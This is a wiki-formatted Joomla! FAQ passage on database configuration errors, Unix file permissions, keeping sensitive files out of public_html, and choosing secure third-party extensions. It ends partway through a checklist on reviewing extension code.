&#039;&#039;&#039;Error 3 = FATAL ERROR: Database not found...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The database cannot be found. Check the database settings in &#039;&#039;configuration.php&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The MySQL variables in &#039;&#039;configuration.php&#039;&#039; (found in Joomla!&#039;s root directory) can be modified to correct these problems.&lt;br /&gt;
&lt;br /&gt;
For Joomla! 1.0.xx&lt;br /&gt;
 $mosConfig_host = &#039;localhost&#039;;&lt;br /&gt;
 $mosConfig_user = &#039;accountname__username&#039;;&lt;br /&gt;
 $mosConfig_password = &#039;userpassword&#039;;&lt;br /&gt;
 $mosConfig_db = &#039;accountname_dbName&#039;;&lt;br /&gt;
 $mosConfig_dbprefix = &#039;jos_&#039;;&lt;br /&gt;
&lt;br /&gt;
Modifying the &#039;&#039;$mosConfig_host&#039;&#039; to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.&lt;br /&gt;
&lt;br /&gt;
==How do UNIX file permissions work?==&lt;br /&gt;
&lt;br /&gt;
Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;&lt;br /&gt;
&lt;br /&gt;
 Owner Permissions : Control your own access to files.&lt;br /&gt;
 Group Permissions : Control access for you and anyone in your group.&lt;br /&gt;
 Other Permissions : Control access for all others.&lt;br /&gt;
&lt;br /&gt;
In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;What do Unix permissions look like?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When viewing your files through an FTP client or from the servers command line;&lt;br /&gt;
&lt;br /&gt;
 filename.php username usergroup rwx r-x r-x&lt;br /&gt;
&lt;br /&gt;
The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Owner (User) relates to username&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Owner (User) is normally you, these permissions will be enforced on your hosting account name.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Group relates to usergroup&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Other relates to everyone else&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;&lt;br /&gt;
&lt;br /&gt;
 r = Read permissions&lt;br /&gt;
 w = Write permissions&lt;br /&gt;
 x = Execute permissions&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
&lt;br /&gt;
As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
 4 2 1 4 2 1 4 2 1&lt;br /&gt;
&lt;br /&gt;
Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
 4 2 1 4 2 1 4 2 1&lt;br /&gt;
&lt;br /&gt;
Thus...&lt;br /&gt;
&lt;br /&gt;
   4+2+1 4+2+1 4+2+1&lt;br /&gt;
 =   7     7     7&lt;br /&gt;
&lt;br /&gt;
The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;&lt;br /&gt;
&lt;br /&gt;
 Files = 644&lt;br /&gt;
 Directories = 755&lt;br /&gt;
&lt;br /&gt;
These permissions would allow, for files;&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r--&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has Read only&lt;br /&gt;
&lt;br /&gt;
and for directories;&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute only&lt;br /&gt;
 Other has Read and Execute only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either &amp;quot;apache&amp;quot; and &amp;quot;apache&amp;quot; or &amp;quot;nobody&amp;quot; and &amp;quot;nobody&amp;quot; as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.&lt;br /&gt;
&lt;br /&gt;
 640 = rw- r-- ---&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has no rights&lt;br /&gt;
&lt;br /&gt;
The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.&lt;br /&gt;
&lt;br /&gt;
 750 = rw- r-x ---&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has no rights&lt;br /&gt;
&lt;br /&gt;
Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to &amp;quot;Execute&amp;quot; commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the &amp;quot;Read&amp;quot; command, thus cannot deliver your file to the users web browser.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;How Does this Relate to Joomla?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Good question, well in the first instance this would be important during the Web-Installer process.&lt;br /&gt;
If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for &amp;quot;Writable&amp;quot; permissions to be too vague.&lt;br /&gt;
&lt;br /&gt;
Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term &#039;&#039;writable&#039;&#039; is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where &#039;&#039;write&#039;&#039; permissions maybe set;&lt;br /&gt;
&lt;br /&gt;
 Owner Writable&lt;br /&gt;
 Group Writable&lt;br /&gt;
 Other Writable&lt;br /&gt;
&lt;br /&gt;
Also remembering that the Web Server generally doesn&#039;t run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the &amp;quot;Other&amp;quot; permissions that will apply to it. If the &amp;quot;Other&amp;quot; permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not &#039;&#039;writable&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
In this case, you will need to configure the Other permissions to be &amp;quot;7&amp;quot; on the directories listed in the Web Installer.&lt;br /&gt;
So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions&lt;br /&gt;
maybe reset back to 755 after the installer runs to assist in the security of your directories and files.&lt;br /&gt;
&lt;br /&gt;
 757 = rwx r-x rwx&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has Read, Write and Execute&lt;br /&gt;
&lt;br /&gt;
Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the &#039;&#039;other&#039;&#039; permissions, may not be required, now you may only need to configure directories to be &#039;&#039;writable&#039;&#039; to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has Read and Execute&lt;br /&gt;
&lt;br /&gt;
 775 = rwx rwx r-x &lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read, Write and Execute&lt;br /&gt;
 Other has Read and Execute&lt;br /&gt;
&lt;br /&gt;
The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r-- &lt;br /&gt;
 Owner has Read, Write&lt;br /&gt;
 Group has Read&lt;br /&gt;
 Other has Read&lt;br /&gt;
&lt;br /&gt;
This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have &amp;quot;Writable&amp;quot; to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.&lt;br /&gt;
&lt;br /&gt;
If your server needed directory permissions to be set to &amp;quot;Other&amp;quot; Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have &amp;quot;Write&amp;quot; access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.&lt;br /&gt;
&lt;br /&gt;
If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.&lt;br /&gt;
&lt;br /&gt;
In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!&lt;br /&gt;
&lt;br /&gt;
I know this isn&#039;t as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure &amp;quot;7&amp;quot; settings can be reset back to something more secure. For example: &lt;br /&gt;
 Files = 644&lt;br /&gt;
 Directories = 755&lt;br /&gt;
&lt;br /&gt;
These permissions would allow, for files;&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r--&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has Read only&lt;br /&gt;
&lt;br /&gt;
and for directories,&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x &lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute only&lt;br /&gt;
 Other has Read and Execute only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (&amp;quot; / &amp;quot;) of your Joomla! installation, then run: &lt;br /&gt;
&lt;br /&gt;
 find . -type f -exec chmod 644 {} \;&lt;br /&gt;
 find . -type d -exec chmod 755 {} \;&lt;br /&gt;
&lt;br /&gt;
If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the &#039;&#039;configuration.php&#039;&#039; file.&lt;br /&gt;
&lt;br /&gt;
Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.&lt;br /&gt;
&lt;br /&gt;
If you decide to use &#039;&#039;caching&#039;&#039; the cache directory will need to be &#039;&#039;writable&#039;&#039; by the Web server user to allow it to write its temporary files.&lt;br /&gt;
&lt;br /&gt;
==What are the recommended file and directory permissions?==&lt;br /&gt;
&lt;br /&gt;
Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.&lt;br /&gt;
&lt;br /&gt;
==How can I avoid using chmod 0777 to enable installs?==&lt;br /&gt;
&lt;br /&gt;
On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Edit the Apache user.conf file and tell apache to run under the FTP account.&lt;br /&gt;
# chmod the entire site to 644 or 744. Apache should be able to run just fine that way.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Optional&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# chgrp the entire web space to the FTP group so that only those with FTP access can write to the server.&lt;br /&gt;
# chmod the entire web space to 764 or 664 will be possible giving other users write access as well&lt;br /&gt;
&lt;br /&gt;
==Isn&#039;t locating all Joomla! files inside public_html a security risk?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Short answer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Potentially, yes. Your site can be secure, but you must be careful and vigilant.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Long answer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.&lt;br /&gt;
&lt;br /&gt;
Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.&lt;br /&gt;
&lt;br /&gt;
As long as you want the entire world to view your public_html directory there is no problem. After all, that&#039;s exactly what it&#039;s designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.&lt;br /&gt;
&lt;br /&gt;
If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.&lt;br /&gt;
&lt;br /&gt;
One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include andrequire. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The incredible lightness of living outside the fence&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.&lt;br /&gt;
&lt;br /&gt;
Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.&lt;br /&gt;
&lt;br /&gt;
Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! defense&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Despite it&#039;s apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The challenge&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.&lt;br /&gt;
&lt;br /&gt;
This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you&#039;ll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)&lt;br /&gt;
&lt;br /&gt;
During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you can not forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.&lt;br /&gt;
&lt;br /&gt;
The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.&lt;br /&gt;
&lt;br /&gt;
 To (Deny, then Allow), or (Allow, then Deny)?&lt;br /&gt;
&lt;br /&gt;
The real problem with the above &amp;quot;all known&amp;quot; qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.&lt;br /&gt;
&lt;br /&gt;
Consider the logic for a password authentication script. We have essentially two choices:&lt;br /&gt;
# First allow all access, then deny any username/password combination that DOES NOT match the approved list.&lt;br /&gt;
# First deny all access, then allow any username/password combination that DOES match the approved list.&lt;br /&gt;
&lt;br /&gt;
Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it&#039;s not usually a security breach.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The good news&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# In Joomla! 1.0.x, some extensions, and the Joomla! framework, give you the option of locating critical directories outside of public_html after you have completed the installation. Whenever possible you should do this.&lt;br /&gt;
# Joomla! 1.5 goes far in the right direction. It provides several new constants for specifying the location of particularly sensitive directories, including configuration, administrator, libraries, and installation. &lt;br /&gt;
# Joomla! 1.5 is able to run as an FTP account. This provides another method for protecting files on a file by file and directory by directory basis.&lt;br /&gt;
&lt;br /&gt;
==How do I adjust Joomla 1.5 defines [[Image:Compat_15.png]]==&lt;br /&gt;
&lt;br /&gt;
Edit your /includes/defines.php file. Below is the relevant code.&lt;br /&gt;
&lt;br /&gt;
 define( &#039;JPATH_ROOT&#039; , implode( DS, $parts ) );&lt;br /&gt;
 define( &#039;JPATH_SITE&#039; , JPATH_ROOT );&lt;br /&gt;
 define( &#039;JPATH_CONFIGURATION&#039;, JPATH_ROOT );&lt;br /&gt;
 define( &#039;JPATH_ADMINISTRATOR&#039;, JPATH_ROOT . DS . &#039;administrator&#039; );&lt;br /&gt;
 define( &#039;JPATH_LIBRARIES&#039; , JPATH_ROOT . DS . &#039;libraries&#039; );&lt;br /&gt;
 define( &#039;JPATH_INSTALLATION&#039; , JPATH_ROOT . DS . &#039;installation&#039; );&lt;br /&gt;
&lt;br /&gt;
==How do I move confidential files outside of public_html?==&lt;br /&gt;
&lt;br /&gt;
One challenge in Joomla! is ensuring that certain PHP files in public_html containing executable code or confidential data are protected from direct Internet access.&lt;br /&gt;
&lt;br /&gt;
There are various ways to protect such files, but most are not optimal. Many users and developer groups, such as Gallery2 and Apache.org strongly recommend against keeping vulnerable files and confidential data inside public_html.&lt;br /&gt;
&lt;br /&gt;
The following method seems to be the simplest and most elegant way to protect read-only files that, for whatever reason, must be stored in public_html. In this example, we protect configuration.php, perhaps the most confidential file of any Joomla! site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; Using this method, even if the Web server somehow delivers the contents of PHP files, for example due to a misconfiguration, nobody can see the contents of the real configuration file.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Move configuration.php to a safe directory outside of public_html and rename it whatever you want. We use the name &#039;&#039;joomla.conf&#039;&#039; in this example.&lt;br /&gt;
&lt;br /&gt;
2. Create a new configuration.php file containing only the following code:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 require( dirname( __FILE__ ) . &#039;/../joomla.conf&#039; );&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Important!&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Do not include blank lines or any characters (including blank spaces) before the php start tag or after the php end tag. If you make this mistake, you very likely see the following error.&lt;br /&gt;
&lt;br /&gt;
 Warning: Cannot modify header information - headers already sent by (output started at  &lt;br /&gt;
 /home/xxxxx/public_html/configuration.php:2) in /home/xxxxx/public_html/index.php on line 250&lt;br /&gt;
&lt;br /&gt;
3. Make sure the new configuration.php file is not writable, so that it can not be overwritten by the Joomla! Web admin interface.&lt;br /&gt;
&lt;br /&gt;
4. If you need to change configuration settings, do so manually in the relocated &#039;&#039;joomla.conf&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
See also How to adjust Joomla 1.5 defines&lt;br /&gt;
&lt;br /&gt;
==How do I recursively adjust file and directory permissions?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Using Joomla! Administration&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In the Back-end, go to Site --&amp;gt; Global Configuration --&amp;gt; Server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Using the UNIX shell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.&lt;br /&gt;
&lt;br /&gt;
 find . -type f -exec chmod 644 {} \;&lt;br /&gt;
 find . -type d -exec chmod 755 {} \;&lt;br /&gt;
 chmod 707 images&lt;br /&gt;
 chmod 707 images/stories&lt;br /&gt;
 chown apache:apache cache&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Notes:&#039;&#039;&#039;&lt;br /&gt;
# Test all third party extensions after changing permissions.&lt;br /&gt;
# You may need to reset write permissions to install more extensions.&lt;br /&gt;
&lt;br /&gt;
==How can I set the administrator directory to use an SSL server (https)? [[Image:Compat_10.png]]==&lt;br /&gt;
&lt;br /&gt;
Use Joomla version 1.5&lt;br /&gt;
&lt;br /&gt;
A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.&lt;br /&gt;
&lt;br /&gt;
Note that earlier techniques involving the variable $mosConfig_live_site are depreciated, and will not work with current Joomla! versions due to increased security enhancements.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;More Help&#039;&#039;&#039;&lt;br /&gt;
# [http://www.netshinesoftware.com/security/using-an-ssl-certificate-with-your-joomla-website.html Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website]&lt;br /&gt;
&lt;br /&gt;
==Why isn&#039;t restricting access by IP recommended?==&lt;br /&gt;
&lt;br /&gt;
Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker&#039;s actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.&lt;br /&gt;
&lt;br /&gt;
= Joomla! Extensions =&lt;br /&gt;
&lt;br /&gt;
==Why are there vulnerable extensions?==&lt;br /&gt;
&lt;br /&gt;
: Anyone may write and distribute a Joomla! extension. As a service to the global community, this freedom is actively encouraged and supported by the Joomla! Core team. Due to the openness and popularity of the Joomla! project, there are a wide variety of extensions offering a vast array of features. The quality and breadth of Joomla! extensions is one of the main advantages of Joomla.&lt;br /&gt;
&lt;br /&gt;
: However this freedom comes with a price. It requires individual responsibility, and can survive only where a majority of participants act responsibly. Joomla&#039;s success has led to unwanted attention from malicious types, such as script kiddies who run simple, automated scripts in an effort to find and deface others&#039; Web sites.&lt;br /&gt;
&lt;br /&gt;
: It is important to note that, script kiddies unintentionally perform a valuable service. They help us identify vulnerable extensions and poorly configured servers that might otherwise remain open to more serious threats.&lt;br /&gt;
&lt;br /&gt;
==What is a vulnerable extension?==&lt;br /&gt;
&lt;br /&gt;
A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.&lt;br /&gt;
&lt;br /&gt;
Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:&lt;br /&gt;
&lt;br /&gt;
# Know the version numbers of all installed extensions.&lt;br /&gt;
# Use only the latest stable version of all extensions.&lt;br /&gt;
# Completely remove all files of insecure or unused extensions.&lt;br /&gt;
&lt;br /&gt;
==How do I choose secure extensions?==&lt;br /&gt;
&lt;br /&gt;
: The most important thing anyone can do is make good decisions regarding the extensions they choose to use on a site. Once an insecure or malicious extension is installed you should consider your entire site compromised. There is NO POSSIBLE WAY to protect or stop a component from accessing database tables it should not be accessing. There is no possible way to stop a component from sending all of the information it found back to a cracker website. Once an insecure or malicious component is installed, your entire site is insecure.&lt;br /&gt;
&lt;br /&gt;
: With all of that said, here are some pretty easy tips for making good choices regarding the extensions you install:&lt;br /&gt;
&lt;br /&gt;
1. When was the last version released?&lt;br /&gt;
&lt;br /&gt;
: If it has been over a year, consider the project abandoned and find something else. Do not install old components.&lt;br /&gt;
&lt;br /&gt;
2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)&lt;br /&gt;
&lt;br /&gt;
: For production sites you should be sticking to Stable releases as much as possible. If you cannot wait until a Stable release has been made available, Release Candidates are the only other option you should consider. I would not suggest anyone install any Beta or Alpha extensions on a production site. This means they still have bugs, they have not been tested enough, and could have any number of inconvenient bugs or security issues that have not been fixed or worse, found.&lt;br /&gt;
&lt;br /&gt;
3. Does the extension have a history of good security practices?&lt;br /&gt;
&lt;br /&gt;
: This is obviously a bit more subjective but it is still a very valid gauge of future trustworthiness. It requires a bit of investigation and research. Look around their download pages and archives, are there many security release or patches? Are there a lot of reports of cracking activity through this extension? Are the developers experienced and security conscious? What do other community members think of this extension? One example that comes to mind that has little to do with Joomla itself (which makes it a fair example) is phpBB. This script has had more security issues than I could get my head around and there routinely seems to be newly disclosed issues. Because of this, I would never use phpBB. In my opinion its is not trustworthy and there is a high probability that there will be more major security issues.&lt;br /&gt;
&lt;br /&gt;
4. Is there a support community for this extension?&lt;br /&gt;
&lt;br /&gt;
: This is very important for usability and security awareness. If there is a support community for an extension there is a better chance of security issues being known and dealt with. A support community means that people would like to continue using the extension and that they care about the extension. This furthers the chance that security issues will be found, disclosed, and dealt with promptly.&lt;br /&gt;
&lt;br /&gt;
5. Is there only a Mambo version of this extension?&lt;br /&gt;
&lt;br /&gt;
: While this does not in itself make an extension insecure but is rather a gauge of support, how recently the last realease was, and future support. There is a pretty narrow chance that Mambo components will be supported in 1.5 so save yourself the trouble and find a component made to work with Joomla. It will make your life easier.&lt;br /&gt;
&lt;br /&gt;
6. Is the extension generally bug free?&lt;br /&gt;
&lt;br /&gt;
: I hinted on this a little bit in number three but I think it is worth discussing in more depth. While it is almost impossible for an extension to be completely bug free, the smaller the number of bugs, the better. If there are bugs in the software it means there are mistakes in the software. The more mistakes, the higher risk of usability issues and security issues. Security issues are often a result of not one bug, but several bugs or bad practices. For example, the recent 3rd party vulnerabilities that allow for remote file inclusion are a result of:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Bad Practices:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Having PHP&#039;s Register Globals enabled.&lt;br /&gt;
# Using out of date or abandoned extension.&lt;br /&gt;
# No other security checks enabled for PHP. (url_fopen off, open_basedir restrictions, disabled PHP functions)&lt;br /&gt;
# Poorly configured file permissions.&lt;br /&gt;
# No request filtering or software &amp;quot;firewall&amp;quot;. (such as mod_rewrite rules or mod_security Apache modules)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Bugs:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Not including defined(&#039;_VALID_MOS&#039;) or die... statements&lt;br /&gt;
# Poorly constructed include() statements.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. How complex is the extension? &lt;br /&gt;
&lt;br /&gt;
: The larger it is, the more likely it is to have problems, and the more carefully you should review it. If you can&#039;t tell what it&#039;s doing, you should not trust it.&lt;br /&gt;
&lt;br /&gt;
2. Does the extension read or write files to your server? &lt;br /&gt;
&lt;br /&gt;
: Programs that read files may inadvertently violate access restrictions you&#039;ve set up, or pass sensitive system information to crackers. Programs that write files have the potential to modify or damage existing files, or introduce trojan horses.&lt;br /&gt;
&lt;br /&gt;
3. Does the extension interact with other programs on your system? &lt;br /&gt;
&lt;br /&gt;
